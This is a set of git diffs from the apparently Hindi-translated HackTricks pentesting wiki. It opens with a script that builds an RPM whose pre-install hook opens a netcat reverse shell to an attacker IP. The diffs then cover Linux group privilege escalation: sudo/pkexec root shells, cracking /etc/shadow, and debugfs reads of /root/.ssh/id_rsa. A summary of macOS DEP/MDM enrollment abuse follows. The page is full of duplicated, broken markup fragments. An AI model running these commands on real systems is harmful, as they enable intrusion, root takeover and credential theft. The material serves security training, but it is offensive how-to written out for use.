EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# शैल को पकड़ना
उपरोक्त उदाहरण का उपयोग करते हुए और मानते हुए कि `yum` उच्च-अधिकाधिकारी उपयोगकर्ता के रूप में निष्पादित किया जा सकता है।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
1. **रपी एम पी** को होस्ट पर स्थानांतरित करें
2. अपने स्थानीय होस्ट पर एक सुनने वाला शुरू करें जैसे कि [उदाहरण नेटकैट सुनने वाला](/shells/shells/linux#netcat)
3. **वंशवादी पैकेज** `yum localinstall -y exploited-1.0-1.noarch.rpm` को स्थानीय इंस्टॉल करें
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# सुडो/व्यवस्थापक समूह
# Sudo/Admin Groups
## **PE - विधि 1**
## **PE - Method 1**
**कभी-कभी**, **डिफ़ॉल्ट रूप से \(या क्योंकि कुछ सॉफ़्टवेयर की आवश्यकता होती है\)** **/etc/sudoers** फ़ाइल के अंदर आप इन पंक्तियों में से कुछ पा सकते हैं:
**कभी-कभी**, **डिफ़ॉल्ट रूप से \(या क्योंकि कुछ सॉफ़्टवेयर को इसकी आवश्यकता होती है\)** **/etc/sudoers** फ़ाइल के अंदर आप इनमें से कुछ पंक्तियाँ पा सकते हैं:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -25,36 +26,35 @@ HackTricks का समर्थन करने के अन्य तरी
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
इसका मतलब है कि **किसी भी उपयोगकर्ता जो सूडो या एडमिन समूह में शामिल है, वह सूडो के रूप में कुछ भी चला सकता है**।
यह मतलब है कि **कोई भी उपयोगकर्ता जो समूह sudo या admin का सदस्य है, वह sudo के रूप में कुछ भी निष्पादित कर सकता है**।
यदि ऐसा है, तो **रूट बनने के लिए आप बस निम्नलिखित को चला सकते हैं**:
यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**:
```text
sudo su
```
## PE - विधि 2
## PE - Method 2
सभी suid बाइनरी ढूंढें और जांचें कि क्या बाइनरी **Pkexec** है:
सभी suid बाइनरी खोजें और जांचें कि क्या बाइनरी **Pkexec** है:
```bash
find / -perm -4000 2>/dev/null
```
यदि आपको पता चलता है कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin समूह में शामिल हैं, तो आप pkexec का उपयोग करके बाइनरी को sudo के रूप में चला सकते हैं।
निम्नलिखित की सामग्री की जाँच करें:
यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin में हैं, तो आप शायद pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
वहां आपको मिलेगा कि कौन-कौन समूह **pkexec** को चलाने की अनुमति है और **कुछ लिनक्स में डिफ़ॉल्ट रूप से** कुछ समूह **sudo या admin** में शामिल हो सकते हैं।
वहाँ आप पाएंगे कि कौन से समूह **pkexec** निष्पादित करने की अनुमति रखते हैं और **डिफ़ॉल्ट रूप से** कुछ लिनक्स में **sudo या admin** जैसे समूह **प्रकट** हो सकते हैं।
**रूट बनने के लिए आप निम्नलिखित को चला सकते हैं**:
**रूट बनने के लिए आप निष्पादित कर सकते हैं**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
यदि आप **pkexec** को execute करने का प्रयास करते हैं और आपको यह **त्रुटि** मिलती है:
यदि आप **pkexec** निष्पादित करने की कोशिश करते हैं और आपको यह **त्रुटि** मिलती है:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं, बल्कि इसलिए कि आप GUI के बिना कनेक्ट नहीं हैं**। और इस मुद्दे का एक काम करने का तरीका यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग-अलग ssh सत्र** की आवश्यकता है:
**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं बल्कि इसलिए कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है:
{% code title="session1" %}
```bash
@ -73,29 +73,29 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
# व्हील समूह
**कभी-कभी**, **डिफ़ॉल्ट** रूप से **/etc/sudoers** फ़ाइल के अंदर आप यह पंक्ति पा सकते हैं:
**कभी-कभी**, **डिफ़ॉल्ट रूप से** **/etc/sudoers** फ़ाइल के अंदर आप यह पंक्ति पा सकते हैं:
```text
%wheel ALL=(ALL:ALL) ALL
```
इसका मतलब है कि **किसी भी उपयोगकर्ता जो समूह wheel में शामिल है, वह सुडो के रूप में कुछ भी चला सकता है**।
यह मतलब है कि **जो भी उपयोगकर्ता समूह व्हील का सदस्य है, वह कुछ भी sudo के रूप में निष्पादित कर सकता है**।
अगर ऐसा है, तो **रूट बनने के लिए आप बस निम्नलिखित को चला सकते हैं**:
यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**:
```text
sudo su
```
# शैडो ग्रुप
# Shadow Group
**शैडो ग्रुप** के उपयोगकर्ता **/etc/shadow** फ़ाइल **पढ़** सकते हैं:
**shadow** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
इसलिए, फ़ाइल पढ़ें और कुछ हैश **क्रैक** करने का प्रयास करें।
So, read the file and try to **crack some hashes**.
# डिस्क समूह
# Disk Group
यह विशेषाधिकार लगभग **रूट एक्सेस के समान** है क्योंकि आप मशीन के अंदर सभी डेटा तक पहुच सकते हैं।
यह विशेषाधिकार लगभग **रूट एक्सेस के बराबर** है क्योंकि आप मशीन के अंदर सभी डेटा तक पहुच सकते हैं।
फ़ाइलें: `/dev/sd[a-z][1-9]`
Files:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
@ -103,68 +103,67 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
ध्यान दें कि debugfs का उपयोग करके आप **फाइलें लिख सकते** हैं। उदाहरण के लिए `/tmp/asd1.txt` को `/tmp/asd2.txt` में कॉपी करने के लिए आप यह कर सकते हैं:
ध्यान दें कि debugfs का उपयोग करके आप **फाइलें लिख** भी सकते हैं। उदाहरण के लिए, `/tmp/asd1.txt` को `/tmp/asd2.txt` में कॉपी करने के लिए आप कर सकते हैं:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
फिर भी, अगर आप **रूट के स्वामित्व वाली फ़ाइलें लिखने** की कोशिश करें \(जैसे `/etc/shadow` या `/etc/passwd`\) तो आपको "**अनुमति नामंजूर**" त्रुटि आएगी।
हालांकि, यदि आप **रूट द्वारा स्वामित्व वाले फ़ाइलें लिखने** की कोशिश कर हैं \(जैसे `/etc/shadow` या `/etc/passwd`\) तो आपको "**अनुमति अस्वीकृत**" त्रुटि मिलेगी।
# वीडियो समूह
`w` कमांड का उपयोग करके आप **सिस्टम पर कौन लॉग इन है** यह पता लगा सकते हैं और यह निम्नलिखित तरह का आउटपुट दिखाएगा:
`w` कमांड का उपयोग करके आप **जान सकते हैं कि कौन सिस्टम पर लॉग इन है** और यह निम्नलिखित आउटपुट दिखाएगा:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** का मतलब है कि उपयोगकर्ता **yossi शारीरिक रूप से** मशीन पर एक टर्मिनल में लॉग इन है।
The **tty1** का मतलब है कि उपयोगकर्ता **yossi शारीरिक रूप से** मशीन पर एक टर्मिनल में लॉग इन है।
**video समूह** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। इसके लिए आपको **स्क्रीन पर मौजूदा छवि को** रॉ डेटा में पकड़ना होगा और स्क्रीन जो उपयोग कर रही है उसका निर्धारण करना होगा। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन के निर्धारण को `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं।
**video group** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। ऐसा करने के लिए, आपको **स्क्रीन पर वर्तमान छवि को** कच्चे डेटा में प्राप्त करना होगा और यह जानना होगा कि स्क्रीन किस रिज़ॉल्यूशन का उपयोग कर रही है। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन का रिज़ॉल्यूशन `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं।
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
**खोलने** के लिए **रॉ इमेज** का उपयोग करें आप **GIMP** का उपयोग कर सकते हैं, **`screen.raw`** फ़ाइल का चयन करें और फ़ाइल प्रकार के रूप में **रॉ इमेज डेटा** का चयन करें:
To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
![](../../.gitbook/assets/image%20%28208%29.png)
फिर चौड़ाई और ऊचाई को स्क्रीन पर उपयोग किए गए वाले को बदलें और विभिन्न छवि प्रकारों की जांच करें \(और उसे चुनें जो स्क्रीन को बेहतर दिखाता है\):
Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
![](../../.gitbook/assets/image%20%28295%29.png)
# रूट समूह
# Root Group
ऐसा लगता है कि डिफ़ॉल्ट रूप समूह के **सदस्य** को कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइल्स या कुछ **लाइब्रेरी** फ़ाइलें या **अन्य दिलचस्प चीजें** तक पहुंच हो सकती हैं जिनका उपयोग वर्चस्व उन्नति करने के लिए किया जा सकता है...
ऐसा लगता है कि डिफ़ॉल्ट रूप स**रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच प्राप्त कर सकते हैं, जिन्हें विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सकता है...
**जांचें कि रूट सदस्य कौन-कौन सी फ़ाइलें संशोधित कर सकते हैं**:
**जांचें कि रूट सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# डॉकर समूह
# Docker Group
आप मेशीन के मूल फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होती है तो वह तुरंत उस वॉल्यूम में `chroot` लोड करती है। यह आपको मशीन पर रूट देता है।
आप होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है।
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
# lxc/lxd समूह
[lxc - विशेषाधिकार उन्नति](lxd-privilege-escalation.md)
# lxc/lxd Group
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,66 +1,96 @@
# अन्य संगठनों में उपकरणों को नामांकित करना
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करें।
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## परिचय
[**पहले ही टिप्पणी की गई थी**](./#what-is-mdm-mobile-device-management)**,** एक संगठन में एक उपकरण को नामांकित करने के लिए **केवल उस संगठन का एक सीरियल नंबर आवश्यक है**। एक बार उपकरण नामांकित होने के बाद, कई संगठन नए उपकरण पर संवेदनशील डेटा इंस्टॉल करेंगे: प्रमाणपत्र, एप्लिकेशन, WiFi पासवर्ड, VPN विन्यास [और इत्यादि](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)।\
इसलिए, यदि नामांकन प्रक्रिया सही ढंग से सुरक्षित नहीं है, तो यह हमलावरों के लिए एक खतरनाक प्रवेश बिंदु हो सकता है।
जैसा कि [**पहले टिप्पणी की गई**](./#what-is-mdm-mobile-device-management)**,** किसी उपकरण को एक संगठन में नामांकित करने के लिए **केवल उस संगठन का एक सीरियल नंबर आवश्यक है**। एक बार जब उपकरण नामांकित हो जाता है, तो कई संगठन नए उपकरण पर संवेदनशील डेटा स्थापित करेंगे: प्रमाणपत्र, अनुप्रयोग, वाईफाई पासवर्ड, वीपीएन कॉन्फ़िगरेशन [और इसी तरह](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)।\
इसलिए, यदि नामांकन प्रक्रिया को सही तरीके से सुरक्षित नहीं किया गया है, तो यह हमलावरों के लिए एक खतरनाक प्रवेश बिंदु हो सकता है।
**निम्नलिखित एक अनुसंधान का सारांश है [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)। अधिक तकनीकी विवरण के लिए इसे जांचें!**
**यह अनुसंधान का एक सारांश है [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)। आगे की तकनीकी जानकारी के लिए इसे देखें!**
## DEP और MDM बाइनरी विश्लेषण का अवलोकन
इस अनुसंधान में, macOS पर डिवाइस नामांकन कार्यक्रम (DEP) और मोबाइल डिवाइस प्रबंधन (MDM) से संबंधित बाइनरी का विश्लेषण किया गया है। मुख्य घटक शामिल हैं:
यह अनुसंधान macOS पर डिवाइस नामांकन कार्यक्रम (DEP) और मोबाइल डिवाइस प्रबंधन (MDM) से संबंधित बाइनरी में गहराई से जाता है। मुख्य घटक शामिल हैं:
- **`mdmclient`**: macOS संस्करण 10.13.4 से पहले DEP चेक-इन को ट्रिगर करने वाले MDM सर्वरों के साथ संचार करता है।
- **`profiles`**: कॉन्फ़िगरेशन प्रोफाइल का प्रबंधन करता है, और macOS संस्करण 10.13.4 और उसके बाद DEP चेक-इन को ट्रिगर करता है।
- **`cloudconfigurationd`**: DEP API संचार का प्रबंधन करता है और डिवाइस नामांकन प्रोफाइल प्राप्त करता है।
- **`mdmclient`**: MDM सर्वरों के साथ संवाद करता है और macOS संस्करण 10.13.4 से पहले DEP चेक-इन को ट्रिगर करता है।
- **`profiles`**: कॉन्फ़िगरेशन प्रोफाइल का प्रबंधन करता है, और macOS संस्करण 10.13.4 और बाद में DEP चेक-इन को ट्रिगर करता है।
- **`cloudconfigurationd`**: DEP API संचार का प्रबंधन करता है और डिवाइस नामांकन प्रोफाइल को पुनः प्राप्त करता है।
DEP चेक-इन में `CPFetchActivationRecord` और `CPGetActivationRecord` फ़ंक्शन का उपयोग किया जाता है, जो एक्टिवेशन रिकॉर्ड प्राप्त करने के लिए निजी कॉन्फ़िगरेशन प्रोफ़ाइल्स फ़्रेमवर्क से कोआर्डिनेट करता है, `CPFetchActivationRecord` XPC के माध्यम से `cloudconfigurationd` के साथ।
DEP चेक-इन `CPFetchActivationRecord` और `CPGetActivationRecord` कार्यों का उपयोग करता है जो निजी कॉन्फ़िगरेशन प्रोफाइल ढांचे से सक्रियण रिकॉर्ड को प्राप्त करने के लिए हैं, जिसमें `CPFetchActivationRecord` XPC के माध्यम से `cloudconfigurationd` के साथ समन्वय करता है
## Tesla Protocol और Absinthe Scheme Reverse Engineering
## टेस्ला प्रोटोकॉल और एब्सिन्थ स्कीम रिवर्स इंजीनियरिंग
DEP चेक-इन में `cloudconfigurationd` द्वारा एक एन्क्रिप्टेड, साइन किया गया JSON पेलोड _iprofiles.apple.com/macProfile_ को भेजा जाता है। पेलोड में उपकरण का सीरियल नंबर और कार्रवाई "RequestProfileConfiguration" शामिल है। उपयोग किया गया एन्क्रिप्शन स्कीम आंतरिक रूप से "Absinthe" के रूप में संदर्भित किया जाता है। इस स्कीम को सुलझाना जटिल है और कई कदमों को शामिल करता है, जिससे विकल्पिक तरीकों की खोज की गई जिससे एकाधिक सीरियल नंबरों को एक्टिवेशन रिकॉर्ड अनुरोध में डालने के लिए
DEP चेक-इन में `cloudconfigurationd` एक एन्क्रिप्टेड, साइन किया हुआ JSON पेलोड _iprofiles.apple.com/macProfile_ पर भेजता है। पेलोड में उपकरण का सीरियल नंबर और क्रिया "RequestProfileConfiguration" शामिल है। उपयोग की जाने वाली एन्क्रिप्शन योजना को आंतरिक रूप से "Absinthe" के रूप में संदर्भित किया जाता है। इस योजना को सुलझाना जटिल है और इसमें कई चरण शामिल हैं, जिसने सक्रियण रिकॉर्ड अनुरोध में मनमाने सीरियल नंबर डालने के वैकल्पिक तरीकों की खोज की
## DEP अनुरोधों को प्रॉक्सी करना
Charles Proxy जैसे उपकरणों का उपयोग करके _iprofiles.apple.com_ पर DEP अनुरोधों को अंतर्दृष्टि और संशोधन करने की कोशिशें एन्क्रिप्शन और SSL/TLS सुरक्षा उपायों द्वारा बाधित थीं। हालांकि, `MCCloudConfigAcceptAnyHTTPSCertificate` कॉन्फ़िगरेशन को सक्षम करने से सर्वर प्रमाणपत्र मान्यता की पुष्टि को छोड़ने की अनुमति होती है, हालांकि पेलोड की एन्क्रिप्टेड प्रकृति अब भी डिक्रिप्शन कुंजी के बिना सीरियल नंबर का संशोधन रोकती है।
_iprofiles.apple.com_ पर DEP अनुरोधों को इंटरसेप्ट और संशोधित करने के प्रयासों को चार्ल्स प्रॉक्सी जैसे उपकरणों द्वारा पेलोड एन्क्रिप्शन और SSL/TLS सुरक्षा उपायों ने बाधित किया। हालाँकि, `MCCloudConfigAcceptAnyHTTPSCertificate` कॉन्फ़िगरेशन को सक्षम करने से सर्वर प्रमाणपत्र मान्यता को बायपास करने की अनुमति मिलती है, हालाँकि पेलोड की एन्क्रिप्टेड प्रकृति अभी भी डिक्रिप्शन कुंजी के बिना सीरियल नंबर के संशोधन को रोकती है।
## DEP के साथ इंटरैक्ट करने वाले सिस्टम बाइनरी का उपकरण
## DEP के साथ इंटरैक्ट करने वाले सिस्टम बाइनरी को इंस्ट्रूमेंट करना
`cloudconfigurationd` जैसे सिस्टम बाइनरी को इंस्ट्रुमेंट करने के लिए macOS पर सिस्टम अखंडता सुरक्षा (SIP) को अक्षम करना आवश्यक होता है। SIP अक्षम करने पर, LLDB जैसे उपकरणों का उपयोग सिस्टम प्रक्रियाओं से जुड़ने और DEP API इंटरैक्शन में उपयोग किए जाने वाले सीरियल नंबर को संशोधित करने की संभावना होती है। यह विधि उत्तम है क्योंकि यह अधिकारों और कोड साइनिंग की जटिलताओं से बचती है।
`cloudconfigurationd` जैसे सिस्टम बाइनरी को इंस्ट्रूमेंट करने के लिए macOS पर सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP) को अक्षम करना आवश्यक है। SIP अक्षम होने पर, LLDB जैसे उपकरणों का उपयोग सिस्टम प्रक्रियाओं से जुड़ने और DEP API इंटरैक्शन में उपयोग किए जाने वाले सीरियल नंबर को संभावित रूप से संशोधित करने के लिए किया जा सकता है। यह विधि वरीयता प्राप्त है क्योंकि यह अधिकारों और कोड साइनिंग की जटिलताओं से बचती है।
**बाइनरी इंस्ट्रमेंटेशन का शोषण:**
`cloudconfigurationd` में JSON सीरियलाइजेशन से पहले DEP अनुरोध पेलोड को संशोधित करना प्रभावी साबित हुआ। इस प्रक्रिया में शामिल थ:
**बाइनरी इंस्ट्रमेंटेशन का शोषण:**
`cloudconfigurationd` में JSON सीरियलाइजेशन से पहले DEP अनुरोध पेलोड को संशोधित करना प्रभावी साबित हुआ। प्रक्रिया में शामिल थ:
1. `cloudconfigurationd` में LLDB को जोड़ना।
2. सिस्टम सीरियल नंबर प्राप्त करने के स्थान का पता लगाना
3. पेलोड को एन्क्रिप्ट और भेजने से पहले मेमोरी में एक अनिश्चित सीरियल नंबर डालना।
1. `cloudconfigurationd` से LLDB को संलग्न करना।
2. उस बिंदु को ढूंढना जहां सिस्टम सीरियल नंबर प्राप्त किया जाता है
3. पेलोड को एन्क्रिप्ट और भेजे जाने से पहले मेमोरी में एक मनमाना सीरियल नंबर इंजेक्ट करना।
यह विधि एकाधिक सीरियल नंबरों के लिए पूर्ण DEP प्रोफाइल प्राप्त करने की अनुमति देती थी, जो एक संभावित सुरक्षा दोष का प्रदर्शन करती थी
इस विधि ने मनमाने सीरियल नंबर के लिए पूर्ण DEP प्रोफाइल प्राप्त करने की अनुमति दी, जो एक संभावित भेद्यता को प्रदर्शित करती है
### पायथन के साथ इंस्ट्रमेंटेशन को स्वचालित करना
### पायथन के साथ इंस्ट्रमेंटेशन को स्वचालित करना
